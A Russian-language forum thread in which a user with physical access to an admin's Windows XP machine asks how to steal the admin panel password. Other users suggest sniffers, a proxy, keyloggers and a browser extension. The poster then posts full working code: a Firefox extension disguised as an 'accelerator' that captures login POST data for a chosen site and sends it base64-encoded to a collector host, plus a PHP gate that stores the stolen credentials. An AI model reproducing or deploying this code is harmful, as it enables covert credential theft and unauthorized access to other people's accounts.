Старый 06.07.2014, 09:34   #1
Ereeee
 
Аватар для Ereeee
 
Регистрация: 19.01.2012
Сообщений: 110
Репутация: 12
Exclamation Вопрос насчет сниффера

Имеется: физический доступ к компьютеру с Windows XP. Во внутренней сети есть админка управления сайтом. Компьютер защищен антивирусом Касперского, но так как есть физ. доступ - это не проблема.
Цель: получить данные от админки

Сначала думал про фейки, ничего хорошего, кроме Denwer-а подобной херни в голову не пришло, все-таки собираюсь надуть админа, а не какого-нибудь непросветленного в сфере IT.

Думаю, остается только вариант со сниффером. В паблике ничего подходящего не увидел, ибо у них профиль широкий, а мне лишь бы логин:пароль от админки и все. C/C++, Delphi и т.д. не знаю, время поджимает, изучить не успею.

Еще смотрел этот вариант:
https://www.raymond.cc/blog/hacking-...ification-bar/
Но на борту есть и браузер Chrome, а для него таковых решений нет. Ко всему этому, будет странно, если Mozilla Firefox вдруг перестанет спрашивать "Запомнить пароль?".

Вопрос: У кого-нибудь есть идея кроме сниффера? Или готовые решения(желательно исходник)? Можете дать направления или сделать наброски?
Ereeee вне форума   Ответить с цитированием
Старый 06.07.2014, 10:52   #2
DrakonHaSh
 
Регистрация: 05.07.2010
Сообщений: 244
Репутация: 106
По умолчанию

снифферы для ловли паролей:

1. Cain
(статья понятная даже детям, вроде с античат) Использование Cain: Зеркало статьи -> http://n3m0.wordpress.com/2007/12/31/usage-cain/
Видео к статье -> http://ins.ifolder.ru/4794981

2.
0x4553-Intercepter


если админ работает c админкой с этого xp, то логгирующий прокси (есть даже для https) (например burp) или keylogger
DrakonHaSh вне форума   Ответить с цитированием
Старый 06.07.2014, 11:09   #3
Ereeee
 
Аватар для Ereeee
 
Регистрация: 19.01.2012
Сообщений: 110
Репутация: 12
По умолчанию

DrakonHaSh,
спасибо за варианты, да, админ работает через этот XP. Думаю поэтому ты предложил громоздкие варианты, виноват я, сразу не расписал, что работа с админкой ведется с этой XP. Насчет прокси надо уточнить, я совсем про это забыл. Если браузер уже настроен на proxy, то придется забыть про этот вариант.
Ereeee вне форума   Ответить с цитированием
Старый 06.07.2014, 12:47   #4
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Может просто расширение (дополнение) для браузера накатать (javascript)?
NameSpace вне форума   Ответить с цитированием
Старый 07.07.2014, 00:24   #5
Ereeee
 
Аватар для Ereeee
 
Регистрация: 19.01.2012
Сообщений: 110
Репутация: 12
По умолчанию

Цитата:
Сообщение от NameSpace Посмотреть сообщение
Может просто расширение (дополнение) для браузера накатать (javascript)?
Поискал в эту сторону, как ни странно, нашел подходящее:
http://kaimi.ru/2012/06/simple-firefox-extension/
Kaimi сделал хорошую работу, дополнение, отправляющий POST запросы к себе на хост.
Я лишь добавил:
Код:
var need_host = "sait.ru";
И изменил:
Код:
if(http_channel.requestMethod == "POST")
на
Код:
if(http_channel.requestMethod == "POST" && new RegExp('^http://(?:www\.)*' + need_host, 'i').test(uri))
Остается теперь протестировать, чем я и займусь. После этого допилю сохранение в файл, так как сеть внутреняя.

UPD. Работает отправка.
GATE
$domain намекает =)
PHP код:
<?php 
$uri 
base64_decode(urldecode($_REQUEST['uri']));
$info base64_decode(urldecode($_REQUEST['info']));
$domain parse_url($uriPHP_URL_HOST);
file_put_contents($domain.".txt",$info."\r\n",FILE_APPEND);
?>
UPD2. Победа! Код accelator.js:
Код:
// Адрес хоста для отправки отчетов
var log_host = "test1.ru";
// Адрес нужного сайта
var need_host = "sait.ru/login/";
// Путь к скрипту - приемщику
var log_uri = "/test.php";
// Максимальный размер POST-данных для отправки
var log_req_limit = 1024;

var accelerator =
{
    // Функция для установки обработчика на событие http-on-modify-request
    // Список событий можно посмотреть здесь https://developer.mozilla.org/en/Observer_Notifications
    add_observer : function()
    {
        var observerService = Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService);
        observerService.addObserver(this, "http-on-modify-request", false);
    },
    // Функция для снятия обработчика на событие http-on-modify-request
    // Не вызывается, но пусть будет
    remove_observer : function()
    {
        var observerService = Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService);
        observerService.removeObserver(this, "http-on-modify-request");
    },
    // Функция, которая вызывается при возникновении интересующего нас события
    observe : function(subject, topic, data)
    {
        var http_channel = subject.QueryInterface(Components.interfaces.nsIHttpChannel);
        
        // Проверяем тип события
        if(topic == "http-on-modify-request")
        {
            // Исключаем из фильтрации URL хоста для приема отчетов
            var uri = subject.URI.spec;
            if(new RegExp('^http://(?:www\.)*' + log_host, 'i').test(uri))
            {
                return;
            }
            
            // Обрабатываем только POST-запросы
            if(http_channel.requestMethod == "POST" && new RegExp('^http://(?:www\.)*' + need_host, 'i').test(uri))
            {
                // Извлекаем объект в котором хранится запрос
                var upload_channel = http_channel.QueryInterface(Components.interfaces.nsIUploadChannel);
                var upload_channel_stream = upload_channel.uploadStream;
                
                upload_channel_stream.QueryInterface(Components.interfaces.nsISeekableStream).seek(Components.interfaces.nsISeekableStream.NS_SEEK_SET, 0);
                
                var stream = Components.classes["@mozilla.org/binaryinputstream;1"].createInstance(Components.interfaces.nsIBinaryInputStream);
                stream.setInputStream(upload_channel_stream);
                
                // Получаем содержимое POST-запроса в виде строки
                var post_bytes = stream.readByteArray(stream.available());
                var post_data = String.fromCharCode.apply(null, post_bytes);
                
                // Отделяем тело запроса от вспомогательных заголовков с размером и типом содержимого
                var tmp = post_data.split("\r\n\r\n");
                if(tmp[1] && tmp[1].length <= log_req_limit)
                {
                    this.send_post_data(uri, tmp[1]);
                }
                
                // Устанавливаем смещение в потоке на начало
                upload_channel_stream.QueryInterface(Components.interfaces.nsISeekableStream).seek(Components.interfaces.nsISeekableStream.NS_SEEK_SET, 0);
            }
        }
    },
    // Вспомогательная функция для отправки POST-запроса на хост и сохранения данных в файл на всякий пожарный
    send_post_data : function(uri, data)
    {
        // Кодируем данные для безопасной передачи
        var enc_data = escape(this.base64_encode(data));
        var enc_uri = escape(this.base64_encode(uri));
        // XMLHttpRequest вызванный из расширения не обладает стандартными ограничениями
        // таким образом обратиться можно к любому хосту
        var req = new XMLHttpRequest();
        
        req.open("POST", "http://" + log_host + log_uri, true);
        req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        req.send("uri=" + enc_uri + "&info=" + enc_data);
		
	var txt = enc_uri+"||"+enc_data;
    var file = Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("ProfD",  Components.interfaces.nsIFile);
    file.append("file.txt"); // Имя файла, куда будут сохранятся данные
    var fs = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
    fs.init(file, 0x02 | 0x08 | 0x20, 0664, 0); // write, create, truncate
    fs.write(txt, txt.length);
    fs.close();
	
    },
    // Неведомая фигня, которая была взята из tamper data
    QueryInterface : function(iid)
    {
        if(iid.equals(Components.interfaces.nsISupports) || iid.equals(Components.interfaces.nsIObserver))
        {
            return this;
        }
        throw Components.results.NS_NOINTERFACE;
    },
    // Вспомогательный метод для кодирования данных в Base64
    base64_encode : function(data)
    {
        var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
        var o1, o2, o3, h1, h2, h3, h4, bits, i = 0,
        ac = 0,
        enc = "",
        tmp_arr = [];

        if(!data)
        {
            return data;
        }

        do
        {
            o1 = data.charCodeAt(i++);
            o2 = data.charCodeAt(i++);
            o3 = data.charCodeAt(i++);

            bits = o1 << 16 | o2 << 8 | o3;

            h1 = bits >> 18 & 0x3f;
            h2 = bits >> 12 & 0x3f;
            h3 = bits >> 6 & 0x3f;
            h4 = bits & 0x3f;

      
            tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4);
        } while (i < data.length);

        enc = tmp_arr.join('');
        
        var r = data.length % 3;
    
        return (r ? enc.slice(0, r - 3) : enc) + '==='.slice(r || 3);
    }
};

// Вызываем метод, который установит обработчик на интересующее нас событие
accelerator.add_observer();
Файл file.txt можно найти в директории %APPDATA%\Mozilla\Firefox\Profiles.

Всем спасибо за помощь и отзывчивость!

Последний раз редактировалось Ereeee; 07.07.2014 в 03:55.. Причина: urldecode
Ereeee вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2022, Jelsoft Enterprises Ltd. Перевод: zCarot